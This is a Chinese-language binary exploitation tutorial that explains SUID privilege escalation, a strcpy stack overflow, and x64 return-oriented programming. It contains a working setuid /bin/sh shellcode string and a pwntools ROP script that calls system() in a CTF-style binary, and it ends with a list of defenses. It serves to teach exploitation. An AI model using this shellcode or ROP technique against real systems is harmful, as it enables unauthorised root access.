绘画二进制0x000002攻击的艺术【ROP巫术使用】
字数 1211 2025-08-24 07:48:34
二进制漏洞利用艺术:ROP技术详解
1. SUID二进制文件利用基础
1.1 SUID概念
SUID (Set owner User ID) 是Linux中的一种特殊权限设置。当SUID位被设置时,执行该文件的用户将临时获得文件所有者的权限(通常是root)。
1.2 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
1.3 漏洞示例代码分析
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void abracadabra(char *fun) {
char data[400];
strcpy(data, fun);
printf("copied..!!");
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("No input provided..!");
return 1;
}
abracadabra(argv[1]);
return 0;
}
漏洞点:
strcpy()函数未检查缓冲区长度,导致缓冲区溢出- 当作为SUID程序运行时,可利用此漏洞提升到root权限
2. 经典栈溢出攻击
2.1 攻击原理
- 通过溢出覆盖返回地址(EIP/RIP)
- 将控制流重定向到注入的shellcode
2.2 攻击步骤
- 确定溢出点:412字节填充 + 4字节EIP覆盖
- 构造payload:
- NOP雪橇(359字节)
- Shellcode(53字节)
- 覆盖的返回地址(0xffffcd90)
2.3 Shellcode示例
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
3. 不可执行堆栈(NX)保护
3.1 NX保护机制
- 将内存区域标记为不可执行
- 阻止从堆栈执行代码
- 使传统的shellcode注入失效
4. 返回导向编程(ROP)
4.1 ROP基本原理
- 利用程序中已有的代码片段(gadget)
- 通过ret指令串联这些片段
- 每个gadget执行特定操作后返回
- 最终实现任意代码执行
4.2 64位寄存器用途
- rax - 扩展寄存器a
- rbx - 扩展寄存器b
- rcx - 扩展寄存器c
- rdx - 扩展寄存器d
- rbp - 基指针寄存器
- rsp - 栈指针寄存器
- rsi - 源索引寄存器
- rdi - 目的索引寄存器
4.3 x64函数调用约定
- 前6个参数通过寄存器传递:
- RDI, RSI, RDX, RCX, R8, R9
- 剩余参数通过栈传递
4.4 ROP利用步骤
-
寻找有用的函数和字符串
- 使用
objdump分析二进制 - 查找
system()调用和flag.txt字符串
- 使用
-
构造ROP链:
- 填充缓冲区
- 使用
pop rdigadget设置参数 - 传递参数地址("/bin/cat flag.txt")
- 调用
system()
4.5 示例ROP利用脚本
from pwn import *
print("*Check-sec")
xrx = ELF('./split')
print("*")
payload = "A" * 40
payload += p64(0x004007c3) # pop rdi
payload += p64(0x00601060) # /bin/cat flag.txt
payload += p64(0x00400560) # system()
p = xrx.process()
print(p.recvuntil(">"))
p.clean()
p.sendline(payload)
p.recv()
p.interactive()
print(p.clean())
5. 关键知识点总结
-
SUID利用:
- 理解SUID权限提升机制
- 识别存在漏洞的SUID二进制
-
缓冲区溢出:
- 确定溢出点位置
- 构造有效的payload结构
-
绕过NX保护:
- 理解NX保护的工作原理
- 掌握ROP技术替代传统shellcode
-
ROP技术:
- 寻找和利用gadget
- 构造ROP链控制程序流
- 64位架构下的参数传递方式
-
工具使用:
- GDB调试分析
- objdump反汇编
- Python pwntools编写exploit
6. 防御措施
- 启用栈保护机制(Stack Canary)
- 使用地址空间布局随机化(ASLR)
- 最小化SUID二进制数量
- 使用更安全的函数替代
strcpy等危险函数 - 定期进行安全审计和漏洞扫描